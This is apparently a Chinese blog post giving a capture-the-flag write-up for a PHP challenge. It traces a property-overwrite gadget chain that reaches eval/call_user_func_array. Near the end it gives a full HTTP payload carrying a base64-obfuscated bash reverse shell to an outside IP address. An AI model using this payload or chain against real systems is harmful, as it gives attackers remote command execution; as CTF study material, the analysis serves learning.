2022DASCTF Apr X FATE 防疫挑战赛 warmup-php

142 阅读1分钟

持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第20天,点击查看活动详情

前置知识

先看下spl_autoload_register函数用法

1.php

<?php
highlight_file(__FILE__);
​
spl_autoload_register(function($class){
    require($class.".php");
});
$action = $_GET['action'];
class Action{
    public function __construct($action){
        $object=new $action();
        $object->A();
    }
}
​
new Action($action);
?> 

Test.php

<?php
class Test{
    function A() {
        echo 'Hi,Sentiment!';
    }
}
?>

其实就相当于一个文件包含的作用,当实例化对象时,会将我们实例化的内容传入class,所以就包含了我们实例化的文件,当最后一行实例化Action时,会调用`__construct()`,该方法中会实例化action,如果我们传参action的值为Test,那么在$object=new Test()后,就相当于包含了Test.php,从而也就可以调用test类中的A方法了

image-20220607170449786

若去掉spl_autoload_register函数则会报错Class 'Test' not found

流程

<?php
spl_autoload_register(function($class){
    require("./class/".$class.".php");
});
highlight_file(__FILE__);
error_reporting(0);
$action = $_GET['action'];
$properties = $_POST['properties'];
class Action{
​
    public function __construct($action,$properties){
​
        $object=new $action();
        foreach($properties as $name=>$value)
            $object->$name=$value;
        $object->run();
    }
}
​
new Action($action,$properties);
?>

给出了源码,__construct()中会进行变量覆盖,并执行run()方法,而有run方法的只有listview.php

public function run()
{
    echo "<".$this->tagName.">\n";
    $this->renderContent();
    echo "<".$this->tagName.">\n";
}

run()中会调用renderContent()

public function renderContent()
{
    ob_start();
    echo preg_replace_callback("/{(\w+)}/",array($this,'renderSection'),$this->template);
    ob_end_flush();
}

之后又会将$this->template作为参数调用renderSection()方法,最后会调用$this->$method();,所以需要构造一下$method

protected function renderSection($matches)
{
    $method='render'.$matches[1];
    if(method_exists($this,$method))
    {
        $this->$method();
        $html=ob_get_contents();
        ob_clean();
        return $html;
    }
    else
        return $matches[0];
}

最后命令执行的部分其实是Base.php#evaluateExpression()call_user_func_array(),所以要看一下哪里调用了该方法,最后再来确定$method具体构造什么

public function evaluateExpression($_expression_,$_data_=array())
{
    if(is_string($_expression_))
    {
        extract($_data_);
        return eval('return '.$_expression_.';');
    }
    else
    {
        $_data_[]=$this;
        return call_user_func_array($_expression_, $_data_);
    }
}

TestView.php中发现renderTableRow()调用了它

public function renderTableRow($row)
{
    $htmlOptions=array();
    if($this->rowHtmlOptionsExpression!==null)
    {
        $data=$this->data[$row];
        $options=$this->evaluateExpression($this->rowHtmlOptionsExpression,array('row'=>$row,'data'=>$data));
        if(is_array($options))
            $htmlOptions = $options;
    }
​
    if($this->rowCssClassExpression!==null)
    {
        $data=$this->dataProvider->data[$row];
        $class=$this->evaluateExpression($this->rowCssClassExpression,array('row'=>$row,'data'=>$data));
    }
    elseif(is_array($this->rowCssClass) && ($n=count($this->rowCssClass))>0)
        $class=$this->rowCssClass[$row%$n];
​
    if(!empty($class))
    {
        if(isset($htmlOptions['class']))
            $htmlOptions['class'].=' '.$class;
        else
            $htmlOptions['class']=$class;
    }
}

再找谁调用了renderTableRow(),在本类中的renderTableBody()

public function renderTableBody()
{
    $data=$this->data;
    $n=count($data);
    echo "<tbody>\n";
​
    if($n>0)
    {
        for($row=0;$row<$n;++$row)
            $this->renderTableRow($row);
    }

再找哪里调用renderTableBody(),发现没有调用的地方所以最后的$method就要构造$method=renderTableBody

整体流程

ListView#run()->renderContent()->renderSection()->
TestView#renderTableBody()->renderTableRow()->
Base#evaluateExpression()->call_user_func_array()

分析

下面就是细节部分了,这里想通过call_user_func_array()进行反弹shell

所以要控制$_expression_的值是反弹shell命令,而$_expression_是调用evaluateExpression()方法时的第一个参数

return call_user_func_array($_expression_, $_data_);

所以就要看调用evaluateExpression()时,传进来了什么值

$data=$this->dataProvider->data[$row];
$options=$this->evaluateExpression($this->rowHtmlOptionsExpression,array('row'=>$row,'data'=>$data));

可以看到是TestView.php中的rowHtmlOptionsExpression属性,而这个属性是没有任何赋值的地方的,这时就想到了最开始的源码覆盖部分

    public function __construct($action,$properties){
​
        $object=new $action();
        foreach($properties as $name=>$value)
            $object->$name=$value;
        $object->run();
    }

$action=TestView,$properties=$properties[rowHtmlOptionsExpression]=shell命令,那么在进行变量覆盖时,就相当于是

TestView->rowHtmlOptionsExpression=shell命令,通过这种方式就可以控制我们该属性的值,而第二个参数data随便构造个就行

GET:
?action=TestView
POST:
properties[rowHtmlOptionsExpression]=system("bash%20-c%20%27%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC80OS4yMzIuNzYuMTQvNDAwMCAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27");&properties[data]=Sentiment

这里用的是Dest0g3的EzSerial题中的反弹shell命令,由于有加号就进行了个url编码

之后就是这部分了

public function renderContent()
{
    ob_start();
    echo preg_replace_callback("/{(\w+)}/",array($this,'renderSection'),$this->template);
    ob_end_flush();
}
​
    protected function renderSection($matches)
    {
        $method='render'.$matches[1];
        if(method_exists($this,$method))
        {
            $this->$method();
            $html=ob_get_contents();
            ob_clean();
            return $html;
        }
        else
            return $matches[0];
    }

调用renderSection时,会将$this->template的值作为参数,所以就需要控制template=TableBody,这样就能调用到renderTableBody()了(虽然$action传参的是TestView,但TestView类继承于本类ListView,所以同样可以变量覆盖)

properties[template]={TableBody}

结合起来后

GET
?action=TestView
POST
properties[rowHtmlOptionsExpression]=system("bash%20-c%20%27%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC80OS4yMzIuNzYuMTQvNDAwMCAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27");&properties[template]={TableBody}&properties[data]=Sentiment

成功执行

image.png